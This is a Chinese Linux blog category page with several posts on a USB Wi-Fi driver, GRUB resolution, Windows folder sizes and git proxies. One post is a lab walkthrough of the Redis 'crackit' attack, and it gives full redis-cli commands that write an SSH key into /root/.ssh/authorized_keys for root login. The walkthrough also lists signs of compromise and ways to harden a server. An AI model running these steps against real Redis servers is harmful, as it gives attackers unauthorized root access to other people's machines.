分类 Linux 下的文章

USB 无线网卡使用小记

鉴于笔记本网卡老化严重,信号太差,于是最近在京东上买了一个睿因(Wavlink)的 USB 无线网卡,WL-WN688A2 1200M 双频5g千兆 USB3.0 无线网卡,看官网上对这款产品的介绍,感觉还蛮高级的玩意,所以顺便学习了点无线网卡的知识,然后在自己的 Ubuntu 下成功安装其驱动并开始使用起来了。在此记录下。

wavlink.jpg

一、无线网卡基础知识

1.1 什么是 5G WiFi?

WiFi 技术从诞生到现在已经经历了五代的升级:从 a -> b -> g -> n 到 ac,第五代 WiFi 技术 IEEE 802.11ac 由于工作频率是 5GHz,所以叫做 5G WiFi 。如下图所示:

wifi-tech.png

相应的,目前最流行的是第四代,工作频率在 2.4GHz,所以叫做 2.4G WiFi。不过要注意的是,并不是工作频率在 5GHz 就是这里说的 5G WiFi,从上图中可以看到,第一代和第四代 WiFi 技术也有用到 5GHz 的频率,严格来说,这两种都不算 5G WiFi,只有第五代 802.11ac 才算是 5G WiFi。有些厂商经常吹嘘自己的网卡是 5G 网卡,实际上只是第四代的 802.11n,和第五代的区别还是很大的。百度上可以搜到 2.4G 和 5G WiFi 的区别

1.2 什么是双频?

这款无线网卡号称 AC1200 双频无线网卡,AC 好理解,上面解释了第五代 WiFi 技术就是 IEEE 802.11ac,1200 自然是指 1200Mbps 的传输速度。那双频是什么意思呢?

从上面的内容中我们可以看出 2.4G 和 5G 的很多区别,其实,对于用户感知来说,最重要区别只有两个:传输速率和距离。2.4G 传输速度比 5G 慢,但是传输距离远,穿墙能力强。而 5G 的最大优势则是近距离传输速度很快,适合看电影玩游戏。如下图(图片来自 Wavlin 广告)。

dual-hz.png

所谓双频,就是集 2.4G 和 5G 于一身,一张网卡,两个频段,既可以满足长距离传输的要求(2.4G),也可以满足传输速度的要求(5G)。其实这里厂商耍了一个滑头,它所宣称的 1200Mbps 传输速度,是双频合在一起的速度,2.4G 的速度是 300Mbps,5G 的速度是 867Mbps,加起来 1167Mbps,比 1200 还少了 33 呢。

另外,广告里宣称网卡还使用了 MIMO 架构CCA 空闲信道检测技术 来充分提升网卡的无线性能和稳定性,听起来还挺牛逼的,这些东西有时间再研究研究。

1.3 什么是 USB3.0 ?

和 WiFi 技术一样,USB 技术也经过二十年的发展,经历了三代,从 1996 年提出 USB1.0 规范开始,当时的传输速度只有 1.5Mbps,然后升级到 USB1.1,速度 12Mbps,到后来演变到 USB2.0,速度也升至 480Mbps,再到最新的 USB3.0 理论速度直接达到了 5Gbps,最新一代的 USB3.1 甚至达到了 10Gbps。

延伸:如何区分 USB2.0 和 USB3.0 插口

二、安装网卡驱动

做完功课之后,就开始无线网卡之旅了。无论是有线网卡还是无线网卡,大多数情况下,在使用之前都必须得安装好网卡驱动,随着 Wavlink 包装的有一个光盘,附带有网卡驱动,但是却是 Windows 系统的。所以在使用这个无线网卡之前,还得学习下如何在 Linux 系统下安装网卡驱动。

其实,无线网卡驱动的安装相当简单,可以分成下面两个步骤:

2.1 确定无线网卡的芯片类型

在安装驱动之前,我们首先需要确定无线网卡的芯片类型,这里有两个概念很容易混淆,品牌名和芯片名。有些人可能会说,我的无线网卡是 TP-LINK 的,要在哪里下载 TP-LINK 的网卡驱动呢?这个问题其实很难回答,在确定你的芯片类型之前,具体要安装什么样的驱动也是不能确定的。一般来说,买无线网卡的时候,产品说明书上会告诉你网卡的芯片信息,是 Atheros,还是 Realtek,还是 Broadcom 或者其他的什么芯片。

譬如,我买的这款无线网卡,产品文档上明确的写了:瑞昱 RTL8812AU 芯片,兼容主流操作系统。很显然芯片类型是 Realtek 的。

如果没有其他手段来得到网卡的芯片类型信息,可以使用 lsusb 命令来查看:

$ lsusb
Bus 002 Device 004: ID 04f2:b044 Chicony Electronics Co., Ltd Acer CrystalEye Webcam
Bus 002 Device 003: ID 0bda:8812 Realtek Semiconductor Corp. RTL8812AU 802.11a/b/g/n/ac WLAN Adapter
Bus 002 Device 002: ID 8087:0020 Intel Corp. Integrated Rate Matching Hub
Bus 002 Device 001: ID 1d6b:0002 Linux Foundation 2.0 root hub
Bus 001 Device 002: ID 8087:0020 Intel Corp. Integrated Rate Matching Hub
Bus 001 Device 001: ID 1d6b:0002 Linux Foundation 2.0 root hub

从第二行网卡的名称:RTL8812AU 802.11a/b/g/n/ac WLAN Adapter 中也能看出网卡是 RTL8812AU 芯片。

有时候很郁闷的是 lsusb 也看不到自己的网卡,这个时候也不知道是 usb 接口有问题,还是自己的网卡有问题,反正系统没有一点反应。如果出现这种情况,有一个小技巧可以使用,就是查看 /var/log/syslog 这个日志文件。先将 usb 无线网卡拔下,然后在终端中输入下面的命令:

$ sudo tail -f /var/log/syslog

然后再将网卡插入 usb 接口,这时如果不出意外,会出现大量的日志,像下面这样:

Jun 19 22:05:52 l-s kernel: [ 2836.763872] usb 2-1.2: new high-speed USB device number 5 using ehci-pci
Jun 19 22:05:53 l-s kernel: [ 2836.856752] usb 2-1.2: New USB device found, idVendor=0bda, idProduct=8812
Jun 19 22:05:53 l-s kernel: [ 2836.856758] usb 2-1.2: New USB device strings: Mfr=1, Product=2, SerialNumber=3
Jun 19 22:05:53 l-s kernel: [ 2836.856762] usb 2-1.2: Product: 802.11n NIC
Jun 19 22:05:53 l-s kernel: [ 2836.856765] usb 2-1.2: Manufacturer: Realtek
Jun 19 22:05:53 l-s kernel: [ 2836.856768] usb 2-1.2: SerialNumber: 123456

如果出现日志,则说明网卡和 usb 接口都没有问题;如果没有出现任何日志,则说明网卡或 usb 接口坏了,可以换一个 usb 接口试试;如果出现一些报错信息,则 Google 之,在安装驱动之前,先将这些错误解决掉。

2.2 下载并安装驱动程序

无线网卡的官网,基本上都会提供驱动程序的下载,学会使用 Google 搜索。譬如我买的这款网卡产品名称是:睿因 WL-WN688A2,通过官网可以搜到该产品的很多文档:Download Drives And Manual ,其中就包括了 RTL8812AU 的驱动程序。

另外,我们已经知道了网卡的芯片类型是 Realtek ,也可以去 Realtek 的官网搜搜看。

但是不幸的是,官网提供的驱动程序,只支持到 Linux 内核版本 3.10,而我的 Ubuntu 16.04 内核版本是 4.4 ,自然编译都通不过。好在开源的世界里,从不缺少勇士,早就已经有人对官网的驱动程序进行改写了,使其支持最新的 Linux 系统。最后我选中了 github 上 gnab 的代码:Realtek 802.11n WLAN Adapter Linux driver

$ git clone https://github.com/gnab/rtl8812au.git
$ ./install.sh

代码中自带了安装脚本,使用 ./install.sh 即可安装。

2.3 附安装脚本

驱动程序的安装脚本挺简单的,贴上来学习一下。

#!/bin/bash

if [ "$(id -u)" != "0" ]; then
   echo "This script must be run as root" 1>&2
   exit 1
fi

make &&
cp 8812au.ko /lib/modules/$(uname -r)/kernel/drivers/net/wireless &&
depmod &&
echo "
                       ***Success***
***Module will be activated automatically at next reboot***
" &&

while true; do
    read -p "Do you wish to activate the module now? (y/n)" yn
    case $yn in
        [Yy]* ) insmod 8812au.ko && echo "***Module activated***" && break;;
        [Nn]* ) exit;;
        * ) echo "Please answer yes or no.";;
    esac
done

首先使用 make 命令编译源码,生成驱动文件 8812au.ko 。
然后将其复制到 /lib/modules/$(uname -r)/kernel/drivers/net/wireless 目录下,并运行 depmod 命令,这一步可以使驱动在开机时自动加载。depmod 命令的用处是创建模块依赖关系的列表,生成一个 modules.dep 文件,系统启动时,modprobe 会根据该文件自动加载驱动以及驱动的依赖关系。

最后脚本提示用户是否立即启用,如果输入 yes 则执行 insmod 8812au.ko 命令,insmodmodprobe 命令一样,用来立即安装驱动。如果不出意外,无线网卡的指示灯就开始闪烁起来了。

可以通过 lsmod 命令确定驱动是否已经成功安装:

$ lsmod | grep 88
8812au                991232  0

要卸载驱动,使用 rmmod 命令。

扫描二维码,在手机上阅读!

Redis crackit 漏洞尝试

最近爆出来的 Redis crackit 漏洞一直沸沸扬扬,趁着周末的时间研究了一下。研究之余不免感叹,这个漏洞简单粗暴,甚至可以说没有任何技术含量,却能对全球网络造成瘫痪之势,一夜之间几万台服务器接连沦陷。纵观这个漏洞的各个关键点,几乎都是由于配置疏忽导致的,可见运维同学还是任重而道远啊。

一、准备工作

<span style="color:red">网络入侵是违法行为,请在虚拟环境下进行本次实验!</span>

为了在本地进行实验,首先,我们需要有一台安装了 redis-server 的虚拟机,我们使用 Vagrant 自带的 hashicorp/precise32 镜像,虚拟机启动好之后,使用 vagrant ssh 连接。

$ vagrant init hashicorp/precise32
$ vagrant up
$ vagrant ssh

由于新的镜像中默认并没有 redis-server ,我们先要安装并启动它。这里要注意,vagrant 默认使用的用户名是 vagrant 用户,而不是 root 用户,需要使用下面的命令,切换到 root 用户,并使用 passwd 命令给 root 用户设置一个密码:

vagrant@precise32:~$ sudo su -
root@precise32:~# passwd

root 用户设置好之后,安装 redis-server:

root@precise32:~# apt-get install redis-server

运行 redis-server:

root@precise32:~# redis-server /etc/redis/redis.conf

至此,准备工作就绪,确保实验环境的 redis-server 已启动,并且是以 root 用户运行的:

redis.png

二、折腾下 vagrant ssh

这里还有一点要注意,因为刚刚是使用 vagrant ssh 连接的虚拟机,和真实环境下使用 ssh 命令还是有所区别,为了使用 ssh 连接虚拟机,需要弄明白 vagrant ssh 的实现原理。我们通过 vagrant ssh-config 命令查看下 vagrant ssh 配置:

$ vagrant ssh-config
Host default
  HostName 127.0.0.1
  User vagrant
  Port 2222
  UserKnownHostsFile /dev/null
  StrictHostKeyChecking no
  PasswordAuthentication no
  IdentityFile /home/aneasystone/vagrant/.vagrant/machines/default/virtualbox/private_key
  IdentitiesOnly yes
  LogLevel FATAL

我们再看下 ssh 命令的 man 手册:

ssh-o.png

看看 vagrant 的这个配置,和 ssh-o 选项完全一样。实际上,vagrant 正是通过 ssh-o 或者 -F 来设置参数的。

我们将 vagrant ssh-config 导入到配置文件中:

$ vagrant ssh-config > vagrant-ssh

然后通过 ssh-F 参数,来连接虚拟机:

$ ssh -F vagrant-ssh root@default

或者使用 -o 指定参数:

$ ssh -o HostName=127.0.0.1 -o Port=2222 root@default

这个时候,我们就可以通过 ssh 来连接虚拟机了。这个步骤对于我们最后的成功入侵至关重要。

三、还原漏洞现场

做了这么多的铺垫,实际上真正的入侵只有下面几步:

3.1 生成 rsa 公钥和私钥

首先通过 ssh-keygen -t rsa 命令生成一对密钥文件(id_rsa 和 id_rsa.pub)

$ ssh-keygen -t rsa
Generating public/private rsa key pair.
Enter file in which to save the key (/home/aneasystone/.ssh/id_rsa): ./id_rsa
Enter passphrase (empty for no passphrase): 
Enter same passphrase again: 
Your identification has been saved in ./id_rsa.
Your public key has been saved in ./id_rsa.pub.
The key fingerprint is:
SHA256:7Gak3RoiBuoUBceedJxMw8YTFF2n52aiS5MgTFl+tNg aneasystone@little-stone
The key's randomart image is:
+---[RSA 2048]----+
| ...BB=... .     |
|  oo+X=.. o      |
|  o++o.E . .     |
|  +o  ..  o      |
| ..o .  S. +     |
| .... .=o.+      |
|..  o o=* .      |
|o  . ..+oo       |
| .     ..        |
+----[SHA256]-----+

3.2 给公钥文件加上换行

由于生成的公钥文件只有一行,我们在前后加上几个空行。

$ (echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n") > foo

3.3 将公钥写入 redis

通过联合 catredis-cli-x 参数将公钥文件写到对方 redis 缓存里。这个地方要注意,如果对方的 redis 缓存不为空,需要使用 flushall 命令清空缓存。

<span style="color:red">请确保缓存中没有重要数据,清空之前请慎重!</span>

$ cat foo | redis-cli -h default -x set crackit

3.4 将公钥保存到对方的 /root/.ssh 目录

然后是攻击最后一步,也是最重要的一步!将公钥保存到对方的 .ssh 目录的 authorized_keys 文件!

这里假设了 redis-server 是以 root 身份运行的,并且对方机器上存在 /root/.ssh 目录。如果不是以 root 身份运行的,这里就需要猜用户名了。

$ redis-cli -h default
$ 127.0.0.1:6379> config set dir /root/.ssh/
OK
$ 127.0.0.1:6379> config get dir
1) "dir"
2) "/root/.ssh"
$ 127.0.0.1:6379> config set dbfilename authorized_keys
OK
$ 127.0.0.1:6379> save
OK

3.5 验收

如果一切顺利,对方服务器上的公钥文件已经被成功篡改了。那么使用我们刚刚创建的私钥(使用 ssh-i 选项),可以无需密码即可连接对方机器:

$ ssh -o HostName=127.0.0.1 -o Port=2222 -i id_rsa root@default
Welcome to Ubuntu 12.04.5 LTS (GNU/Linux 3.2.0-23-generic-pae i686)

 * Documentation:  https://help.ubuntu.com/
New release '14.04.3 LTS' available.
Run 'do-release-upgrade' to upgrade to it.

Welcome to your Vagrant-built virtual machine.
Last login: Sun Nov 22 06:14:03 2015 from 10.0.2.2
root@precise32:~# 

三、判断自己有没有中枪

如果出现以下情况,则说明很有可能你已经中枪:

  1. 缓存被莫名清空
  2. 缓存中多了一个 crackit (或其他类似的)键
  3. 使用 redis 的 config get dir 命令检查是否指向了 /root/.ssh
  4. /.ssh/authorized_keys 文件有被篡改的痕迹
  5. 服务器上运行着不明进程

四、如何修复漏洞

纵观整个攻击流程,之所以很顺利,都是因为 redis-server 的默认配置有着诸多不足,而运维同学为了简单,都直接使用了默认配置。

  1. 修改 redis 的 bind 参数,不要 bind 0.0.0.0,让 redis 服务只能内网访问
  2. 修改 redis 的 requirepass 参数,访问 redis 增加密码认证
  3. 修改 redis 的 port 参数,不要使用默认的 6379 端口号
  4. 修改 redis 的 rename-command 参数,将 CONFIG 设置为 "" ,也就是禁用 CONFIG 命令
  5. 以非 root 用户运行 redis 服务
  6. 升级最近版 redis,(最新版的 redis 已经部分修复了该问题,默认 bind 127.0.0.1,并以 redis 用户运行的)

参考

  1. redis crackit安全事件分析
  2. 【安全公告】Redis Crackit 入侵事件通告
  3. Redis 未授权访问配合 SSH key 文件利用分析
  4. What does “vagrant ssh” actually do?
扫描二维码,在手机上阅读!

修改 GRUB 文本模式的分辨率

最近将系统升级到了 Ubuntu 15.04 ,它的开机过程由 GRUB2 引导,我很喜欢将开机过程设置成文本模式,这样可以很清楚的看到它开机的时候都在干什么。设置文本模式其实很简单,只需打开 /etc/default/grub 文件,修改 GRUB_CMDLINE_LINUX_DEFAULT 参数为 text 即可:

#GRUB_CMDLINE_LINUX_DEFAULT="quiet splash"
GRUB_CMDLINE_LINUX_DEFAULT="text"

修改完后记得使用 update-grub2 更新:

sudo update-grub2

但是在重启的时候我们会发现文本模式的分辨率非常低(看上去应该是 640x480),字体显得非常大,看起来很不爽。Google 后发现很多人讲到这个问题,但是网上的很多信息已经过时了甚至是错误的,特此记录一下。

其实 GRUB 是支持设置文本分辨率的,也就是所谓的 framebuffer resolution ,这篇文章介绍了如何设置 framebuffer resolution 的技巧。设置方法是在 /etc/default/grub 文件中添加如下两行代码:

GRUB_GFXMODE=1024x768x32
GRUB_GFXPAYLOAD_LINUX=keep

注意的是,显卡需要支持 VBE (VESA BIOS Extensions),设置的分辨率必须在 VBE 允许的范围内。在老版本的 Ubuntu 中可以通过 hwinfo 来查看显卡支持的分辨率,但是 Ubuntu 15.04 中貌似已经废弃掉该工具了。可以通过重启机器,长按 Shift 键进入 GRUB 菜单,而后按 C 键进入 GRUB 命令行,使用 GRUB 自带的 vbeinfo 命令来查看你的显卡所有支持的分辨率。

另外网上有些资料说通过设置 GRUB_GFXMODEGRUB_GFXPAYLOAD 两个参数来修改分辨率,但是经过我的测试似乎没有效果, GRUB_GFXPAYLOAD 这个参数在 Ubuntu 15.04 中也已经弃用了,所以应该使用 GRUB_GFXPAYLOAD_LINUX 参数。

参考

  1. How do I increase console-mode resolution?
  2. How to set the resolution in text consoles (troubleshoot when any `vga=…` fails)
  3. GRUB/Tips and tricks
扫描二维码,在手机上阅读!

在 Windows 命令行下显示目录的大小

我们知道在 Linux 系统下使用 du 命令可以很方便的查看某个目录的大小,甚至也可以列出某个目录下的所有子目录的大小。这在查找大文件时非常方便,因为有时候我们会遇到这种情况,譬如,磁盘空间快满了,我们知道 /home/apps 目录非常大,而这个目录下面又有着几十个不同的子目录,我们希望能知道每个子目录的大小以方便我们找到是哪个目录最占空间,那么怎么能快速找到最占空间的子目录呢?

在 Linux 系统下,我们使用下面的 du 命令显示当前目录的总大小:

du -sh .

也可以像下面这样,显示当前目录下的所有一级子目录的大小:

du -h --max-depth=0 .

可以看到在 Linux 下是非常方便的,而在 Windows 下就没有原生的工具可以很方便的实现这一点了。Windows Sysinternals Suite 提供了一个类似于 Linux 下的 du 命令的小工具 Disk Usage,命令的语法稍微有些不同,你可以查看下这个工具的使用文档。

借助外界的工具肯定是可以实现这个功能的,但是也可以直接在 Windows 命令行下不依赖于第三方工具来实现,譬如,使用下面的 PowerShell 命令:

Get-ChildItem -Recurse | Measure-Object -Sum Length

Get-ChildItem 命令用于遍历目录下的所有子目录和文件,类似于 dir 命令,使用 -Recurse 参数可以实现递归遍历。
Measure-Object 命令常作用于管道,对管道的结果进行统计操作,譬如:计数、求和、平均数、最大数、最小数等等。

PowerShell 的命令总给人一种怪怪的感觉,不过它也提供了简写的语法:

ls -r | measure -s Length

看起来比上面的要舒服多了。或者直接在命令行 cmd 下执行:

powershell -noprofile -command "ls -r | measure -s Length"

如果不习惯 PowerShell 这种重量级的命令,也可以直接在命令行 cmd 下使用 for 命令实现,不过要借助一个中间变量,譬如将下面的代码复制到一个批处理文件中:

@echo off
set size=0
for /r %%x in (folder\*) do set /a size+=%%~zx
echo %size% Bytes

在 Windows 命令行下,for绝对是最复杂的命令,没有之一。让我们来解析下上面的那句命令:

for /r 表示递归的遍历一个目录下的所有文件。它的语法是这样:FOR /R [[drive:]path] %%parameter IN (set) DO command,所以其中的 %%x 是我们定义的一个参数,表示目录下的某个文件。注意,在批处理文件中必须要使用两个%%,如果是在命令行下尝试该命令的话,则只需要一个%就可以了。
do 之后的部分是我们针对每个参数(在这里也就是对每个文件)执行的操作。set 命令可以用于显示、设置或删除某个变量的值,set /a 用于对变量进行数学表达式运算(arithmetic expressions),在这里我们使用 += 来对文件大小进行累加。
最后一个是 %%~zx ,这里的 %%x 是就是上面的 x 参数,但是中间添加了 ~z 这样的特殊符号,这被称为 参数扩展(Parameter Extensions),表示对应的文件大小,另外还有很多其他有用的扩展,如 ~n 表示不带扩展的文件名,~x 表示文件的扩展名,~t 表示文件的时间 等等。和参数扩展类似的,还有两个与字符串变量相关的操作:字符串替换(Variable Replace) 和 字符串截取(Variable Substring),在 Windows 批处理中经常会遇到,也可以一起了解下。

不过要特别注意的是,在 Windows 的 cmd 下面,数字类型为 32 位的符号整型,所以最多支持到 2GB 大小的目录,超出 2GB 的结果可能会变成负数。所以最好的做法还是使用上面的 PowerShell 命令。

参考

  1. du 命令
  2. Windows command line get folder size
  3. CMD命令行高级教程精选合编
  4. For - Looping commands | Windows CMD
  5. For /R - Loop through sub-folders | Windows CMD
  6. Set - Environment Variable | Windows CMD
  7. Parameters / Arguments | Windows CMD
  8. Variable substring | Windows CMD
  9. CMD Variable edit replace | Windows CMD
扫描二维码,在手机上阅读!

git clone 太慢怎么办?

Git 和 GitHub 的出现打开了开源世界的另一扇大门,版本控制变得更强大(也更复杂),项目的管理变得更加容易,项目的开发也变得更容易进行多人协作。GitHub 无疑是程序员的 Facebook ,在这里汇聚了无数世界顶级的项目以及顶级的程序员,你可以为你感兴趣的项目加星(Star),可以关注任何人(Follow)以及他们的项目(Watch),而且更赞的是,你可以复制一份别人项目的副本(Fork),来进行自己的修改,如果你愿意的话,你还可以向项目的原作者发起请求(Pull Request),将你做的修改合并到原项目中。这样无论你是什么人,来自不同的国家,拥有不同的技能,都可以对所有开源的项目作出贡献。

尽管上面描述的开源世界如此美好,但是在大天朝,在墙内,你却完全无法领略。因为当你访问 GitHub 时,或者使用 git clone 兴致勃勃的下载你感兴趣的项目时,巨慢的速度将彻底击毁你的信心,最终只好放弃表示玩不起。

git-slower.png

强大的长城技术对 GitHub 网开一面,没有像 Google 或 Facebook 这样直接斩尽杀绝,但是对它做了严格的限速,这种折磨比直接毙了更痛苦(有网友表示,有些地区速度很快,有些地区速度很慢,也有可能是和网络运营商有关)。如上图所示,git clone 的下载速度从来没有超过 10KiB/s ,这也就意味着一个 100MiB 的项目,需要近三个小时才能下完,而且由于网络的不稳定性,下载过程中偶尔会出现断开连接的情况,由于 git clone 不支持断点续传,这让几个小时的下载时间白白浪费掉,只能重新开始。

这篇文章将介绍几种方法来快速从 GitHub 上下载代码。

一、git shallow clone

git clone 默认会下载项目的完整历史版本,如果你只关心最新版的代码,而不关心之前的历史信息,可以使用 git 的浅复制功能:

$ git clone --depth=1 https://github.com/bcit-ci/CodeIgniter.git

--depth=1 表示只下载最近一次的版本,使用浅复制可以大大减少下载的数据量,例如,CodeIgniter 项目完整下载有近 100MiB ,而使用浅复制只有 5MiB 多,这样即使在恶劣的网络环境下,也可以快速的获得代码。如果之后又想获取完整历史信息,可以使用下面的命令:

$ git fetch --unshallow

或者,如果你只是想下载最新的代码看看,你也可以直接从 GitHub 上下载打包好的 ZIP 文件,这比浅复制更快,因为它只包含了最新的代码文件,而且是经过 ZIP 压缩的。但是很显然,浅复制要更灵活一点。

二、GUI 工具 + 代理

如果很有幸你正在使用代理,懂得如何翻墙的话,那么访问 GitHub 对你来说应该不在话下。下载 GitHub 上项目的最简单的方法就是使用一款图形化界面(GUI)的 Git 工具,这样的工具现在比比皆是。使用 GUI 工具方便的地方在于,可以在设置中配置是否要使用代理,将你翻墙所使用的代理 IP 拿过来配置上就 OK 了,或者更直接的,将代理配置为系统代理。

三、git + http.proxy

如果你跟我一样,喜欢使用原生的 git 命令,喜欢在命令行下操作的那种感觉,那么也可以在命令行下直接配置 git 使用代理,当然前提一样是,你懂得如何翻墙。

$ git config --global http.proxy http://proxyuser:proxypwd@proxy.server.com:8080
$ git config --global https.proxy https://proxyuser:proxypwd@proxy.server.com:8080

使用上面的命令配置完之后,会在 ~/.gitconfig 文件中多出几行:

[http]
    proxy = http://proxyuser:proxypwd@proxy.server.com:8080
[https]
    proxy = https://proxyuser:proxypwd@proxy.server.com:8080

你也可以使用下面的命令检查配置是否生效:

$ git config --global --get http.proxy
$ git config --global --get https.proxy

另外,如果你想取消该设置,可以:

$ git config --global --unset http.proxy
$ git config --global --unset https.proxy

配置完成后,重新 clone 一遍,可以看到速度得到了极大的提升!

git-faster.png

题外话:在命令行中如何使用代理?

要注意的是使用 git config --global 配置的代理只能供 git 程序使用,如果你希望让命令行中的其他命令也能自动使用代理,譬如 curl 和 wget 等,可以使用下面的方法:

$ export http_proxy=http://proxyuser:proxypwd@proxy.server.com:8080
$ export https_proxy=https://proxyuser:proxypwd@proxy.server.com:8080

这样配置完成后,所有命令行中的 HTTP 和 HTTPS 请求都会自动通过代理来访问了。如果要取消代理设置,可以:

$ unset http_proxy
$ unset https_proxy

还有一点要注意的是,使用 http_proxy 和 https_proxy 只对 HTTP 和 HTTPS 请求有效,所以当你 ping www.google.com 的时候如果 ping 不通的话,也就没什么大惊小怪的了。

题外话:如何使用 PAC 文件?

有时候我们会使用 git 访问不同的 git 仓库,譬如 GitHub,或者 Git@OSC, 或者你自建的 Git 服务器,但是只想访问 GitHub 的时候使用代理,访问其他的仓库不要使用代理。这时候我们似乎可以使用 PAC 来解决这个问题。PAC (代理自动配置)正是用于浏览器来根据不同的 URL 自动采用不同的代理的一项技术,该文件包含一个 FindProxyForURL Javascript 函数,用于根据 URL 来返回不同的代理。

但是遗憾的是,目前 git 似乎还不支持 PAC 文件,但我们可以打开 PAC 文件找到代理的地址,然后通过上面的方法来配置或取消配置,只是有些繁琐。也许可以写个脚本来解析 PAC 文件,并将 git 包装下,来实现自动切换代理,有机会尝试下。

四、其他方法

网上还提供了很多其他的方法,但是我暂未尝试过,且记录一下:

  • ssh tunnel 或者 shadowsocks
  • ss + proxychains
  • 使用境外的 VPS
  • powerpac
  • VPN

参考

  1. git clone 太慢怎么办?
  2. How do I pull from a Git repository through an HTTP proxy?
  3. Getting git to work with a proxy server
  4. 代理自动配置 - 维基百科
扫描二维码,在手机上阅读!